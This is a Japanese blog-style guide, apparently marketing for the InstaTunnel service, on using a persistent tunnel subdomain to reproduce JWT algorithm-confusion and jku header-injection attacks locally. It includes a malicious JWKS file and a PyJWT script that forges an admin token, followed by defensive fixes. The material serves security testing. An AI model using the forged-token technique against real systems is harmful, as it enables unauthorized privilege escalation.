認証テストのための安定リダイレクト:永続サブドメインでJWT脆弱性をデバッグ
localhostトンネルの再起動ごとにOAuthリダイレクトURIを更新するのはもうやめましょう。無料の永続サブドメインを使ったJWT脆弱性のローカルデバッグ方法を解説します。

Quick answer
認証テストのための安定リダイレクト:JWTのローカルデバッグ: quick answer
If free tunnel limits interrupt your workflow, compare session length, stable URLs, concurrent tunnels, and paid-plan pricing before choosing a localhost tunnel tool.
What free tunnel limits should developers check first?
Check session duration, URL stability, concurrent tunnels, custom subdomains, bandwidth or request limits, and whether webhook callbacks survive restarts.
How does InstaTunnel handle longer development sessions?
InstaTunnel Free is designed around 24-hour sessions, with Pro available for higher limits and MCP endpoint tunnel workflows.
IDおよびアクセス管理(IAM)システムの構築や認証フローのバグ調査に日々取り組んでいると、エフェメラルトンネルの煩わしさに深く馴染みがあるでしょう。
ローカル開発環境を設定し、パブリックトラフィックをlocalhostにルーティングするトンネルを立ち上げ、複雑なOAuth 2.0コールバックやJSON Web Token(JWT)の検証フローをテストします。すると、ノートパソコンがスリープに入り、Wi-Fiが3秒間切断されたり、誤ってCtrl+Cを押したりすると、トンネルが再起動します。URLが https://a1b2c3d4.random-tunnel.com から https://e5f6g7h8.random-tunnel.com に変わり、設定したIDプロバイダー(IdP)の許可リストやCORSポリシー、リダイレクトURIが破損します。再度Auth0、Okta、Keycloakにログインし、コールバックURLを更新してテストをやり直す必要があります。
JWTアルゴリズムの混乱や悪意のあるJWKS(jku)ヘッダーインジェクションなどの複雑なセキュリティ脆弱性をテストする場合、この頻繁な設定変更は単なる面倒ではなく、フローを破壊し、調査を遅らせ、設定ミスを招きます。
このガイドでは、ローカルで安定した予測可能な認証テスト環境を構築する方法、現代のJWT脆弱性の仕組み、そしてそれらを永続サブドメインを使って再現する方法を詳しく解説します。どのトンネルツールが本当に無料でその永続性を提供しているのか、または見せかけだけなのかも明らかにします。
認証におけるエフェメラルURLの苦悩
現代の認証プロトコルは厳格なURI検証に大きく依存しています。OpenID Connect(OIDC)、SAML SSO、OAuth 2.0の実装においても、トークンや認証コードは事前登録された信頼できるエンドポイントにのみ配信される必要があります。
トンネルサービスが起動ごとにランダムなエフェメラルURLを提供すると、セキュリティ調査やバックエンド開発において大きな障害となります:
厳格なリダイレクトURI検証。 OAuthプロバイダーは登録されたリダイレクトURIと完全一致を期待します。サブドメインが変わると、IdPはコールバックを拒否し、フローが完全に停止します。
CORSとオリジンポリシー。 現代のWebアプリケーションでは、APIリクエストを許可されたオリジンに制限しています。エフェメラルURLは環境変数の更新とフロントエンドサーバーの再起動を頻繁に必要とし、プリフライトエラーを避ける必要があります。
Webhookやイベントコールバック。 非同期認証イベント(ユーザー登録Webhookやトークン失効通知)をテストする際、安定したURLが必要です。
セキュリティテスト用の悪意あるペイロードホスティング。 JWTの脆弱性を検証する際、偽造された公開鍵セットなどのペイロードをホストする必要があります。URLが頻繁に変わると、再現が面倒になります。
従来、永続サブドメインはそれに対する料金が必要でしたが、多くのトンネルサービスでは今もそうです。これについてはっきりさせておきましょう。多くの”無料プラン”のマーケティングは誤解を招きます。
“無料”で実現できる安定サブドメイン
すべてのツールが無料プランで永続的なカスタムサブドメインを提供しているわけではありません。Pinggyは、インストール不要のSSHベースのトンネルで、無料プランではランダムサブドメインを提供し、セッションは60分に制限されます。新しいトンネルは新しいURLを意味します。Pinggyの永続的なカスタムサブドメインは有料プランの機能です。もしガイドがそうでないと書いてあれば、事前にベンダーの料金ページを確認してください。
確実に使えるアプローチは次の通りです:
InstaTunnelは無料プランでもカスタムサブドメインを提供します:24時間セッション、最大3つの同時トンネル、
--subdomainフラグで毎回同じ名前をリクエスト可能(例:https://your-name.instatunnel.my)。安定した名前を望む場合に適しています。Cloudflare Tunnelは、帯域制限や有効期限なしの本当に永続的な無料トンネルを提供します。ただし、CloudflareアカウントとDNS設定が必要で、設定の手間があります。
以下の解説では、InstaTunnelを使用します。インストールはnpm install -g instatunnelだけで済み、1コマンドで安定したサブドメインを取得できるため、IdPの許可リストを一度設定すればその後は気にせずに済みます。
深掘り:JWTアルゴリズムの混乱
なぜ安定したトンネルがテストに重要なのか理解するには、これらの脆弱性の仕組みを理解する必要があります。JWTは3つの部分から成り、ドットで区切られています:ヘッダー、ペイロード、署名です。ヘッダーはトークンの暗号化アルゴリズムを指定し、一般的にはHS256(対称HMAC)やRS256(非対称RSA)です。
アルゴリズムの混乱は、サーバーがRS256のような非対称アルゴリズムで署名されたトークンを期待しているのに、誤ってHS256のような対称アルゴリズムで署名されたトークンを検証させられる場合に起きます。RSAの公開鍵をHMACの秘密鍵として使うのです。RSA公開鍵は公開前提なので、攻撃者はサーバーにその鍵をHMAC秘密として扱わせることができれば、有効な署名のトークンを偽造できます。
この脆弱性は2015年頃から知られており、今も実運用システムで見られます。根本原因は変わっていません:
ライブラリのデフォルト設定。 Node.jsの
jsonwebtokenはバージョン8.5.1まで、noneアルゴリズムにフォールバックし、特定条件下で署名検証をスキップしていました(例:アルゴリズム未指定、偽のキー、署名なしトークン)。これに関するCVEは-2022-23540で、バージョン9.0.0で修正済みです。古いバージョンを使っていると脆弱性が残ります。最新ライブラリの挙動。 PyJWT(2.x系)は
jwt.decode()にalgorithmsリストを明示的に指定しないとエラーになります。['RS256', 'HS256']のように複数指定しても、HS256のトークンをRSA公開鍵で検証しようとすると通ってしまいます。動的アルゴリズム選択。 より危険なのは、トークンのヘッダーからアルゴリズムを読み取り、それを検証に使うコードです。これにより、アプリが期待しているアルゴリズム以外も受け入れてしまう可能性があります。
攻撃の流れ
RS256からHS256へのダウングレード攻撃の例は次の通りです:
公開鍵を取得。 通常、
/.well-known/jwks.jsonエンドポイントやIdPのドキュメントにあります。トークンを改ざん。 正規のJWTをデコードし、
algをRS256からHS256に変更し、ペイロードに権限変更(例:"role": "user"→"role": "admin")を仕込みます。公開鍵をHMAC秘密として署名。 RSA公開鍵の文字列をHMAC-SHA256の秘密鍵として使い、改ざんしたトークンに署名します。
送信と観察。 サーバーが
HS256をヘッダーから読み取り、HMACチェックを行い、設定されたRSA公開鍵を秘密として使えば、偽造署名が検証されてしまいます。
jkuヘッダーインジェクションのテスト
jku(JWK Set URL)ヘッダーは、JWT仕様で公開鍵の取得先を示すために使われます。サーバーがこのURLを検証せずにそのまま取得すると、攻撃者は自分のJWKセットをホストし、jkuに設定して署名します。
エフェメラルトンネルURLが頻繁に変わると、攻撃スクリプトやjkuヘッダーも都度更新が必要になり、テストが面倒になります。
ステップバイステップ:永続的なテスト環境の構築
ステップ1:安定したサブドメインを取得
InstaTunnelをインストールし、サブドメインを指定してトンネルを開始します:
npm install -g instatunnel
# 'my-jwt-exploit-lab'は希望のサブドメインに置き換えてください
instatunnel 8080 --subdomain my-jwt-exploit-lab
これにより、https://my-jwt-exploit-lab.instatunnel.myがローカルの8080ポートにルーティングされます。無料プランではセッションは最大24時間、次回も同じサブドメインをリクエストできるため、IdP設定やエクスプロイトスクリプトの変更は不要です。
ステップ2:OAuthインターセプトの設定
IdPに対して、安定したリダイレクトURIをAuth0やOktaのダッシュボードに追加します:
https://my-jwt-exploit-lab.instatunnel.my/callback
サブドメインはあなたのものなので、これ以上設定パネルを触る必要はありません。
ステップ3:悪意のあるJWKSペイロードのホスティング(jku攻撃用)
攻撃者用のRSA鍵ペアを生成し、公開鍵をJWK形式にします。jwks.jsonとして保存します:
{
"keys": [
{
"kty": "RSA",
"kid": "malicious-key-id-001",
"use": "sig",
"n": "YOUR_ATTACKER_PUBLIC_KEY_MODULUS...",
"e": "AQAB"
}
]
}
これをローカルHTTPサーバーで配信します:
python3 -m http.server 8080
これで、https://my-jwt-exploit-lab.instatunnel.my/jwks.jsonに悪意のある鍵セットがホストされます。
ステップ4:悪意のあるトークンの作成
import jwt # PyJWT
from cryptography.hazmat.primitives import serialization
with open("attacker_private_key.pem", "rb") as key_file:
private_key = serialization.load_pem_private_key(key_file.read(), password=None)
payload = {
"sub": "admin_user_id",
"role": "admin",
}
headers = {
"kid": "malicious-key-id-001",
"jku": "https://my-jwt-exploit-lab.instatunnel.my/jwks.json",
}
encoded_jwt = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)
print(f"偽造トークン: {encoded_jwt}")
ステップ5:実行とデバッグ
偽造したトークンをターゲットアプリに送信します。もし脆弱な場合、jkuヘッダーを信頼してURLを解決し、jwks.jsonを取得し、署名が検証されます。
トンネルURLは再起動ごとに変わらないため、ターゲットアプリにブレークポイントを設定し、再起動してエクスプロイトスクリプトを調整し、攻撃を再実行できます。
これらの攻撃に対するアプリのセキュリティ対策
脆弱性を再現したら、修正方法は確立されています:
厳格なアルゴリズムのハードコーディング。 トークンヘッダーのアルゴリズムに信頼させない。期待するアルゴリズムを明示的に指定します:
Node.js (
jsonwebtoken):jwt.verify(token, publicKey, { algorithms: ['RS256'] })Python (
PyJWT):jwt.decode(token, public_key, algorithms=['RS256'])
キータイプを分離。 対称秘密鍵と非対称公開鍵は混在させない。設定に両方を格納しない。
jkuやx5uのドメインをホワイトリスト化。 URLを動的に取得する場合は、許可リストに対して検証します。alg: noneを明示的に拒否。 最新のライブラリは署名なしトークンを受け付けなくなっていますが、カスタム実装や古いシステムでは未だに処理されることがあります。必ず拒否設定を確認してください。依存関係を最新に保つ。
jsonwebtokenのnoneアルゴリズムの脆弱性(CVE-2022-23540)を例に、ライブラリのデフォルト設定変更の重要性を理解しましょう。古いバージョンは脆弱性を再導入します。
まとめ
認証の脆弱性をテストするには、正確さと一貫性が必要です。エフェメラルURLは設定の煩雑さをもたらし、再現性を低下させます。
本当に永続的なサブドメイン(InstaTunnelの無料プランやCloudflareの名前付きトンネルなど)は、その煩わしさを排除します。ただし、「無料プランでカスタムサブドメイン」と謳うツールには注意し、最新の料金ページを確認してください。Pinggyなど一部のツールは有料プランに制限しています。OAuthリダイレクトのデバッグやWebhookの再現、JWTアルゴリズムの混乱攻撃の再現において、安定したURLは脆弱性の論理に集中できる環境を提供します。
Related InstaTunnel pages
Continue from this article into the most relevant product guides and workflows.
Related Topics
Keep building with InstaTunnel
Read the docs for implementation details or compare plans before you ship.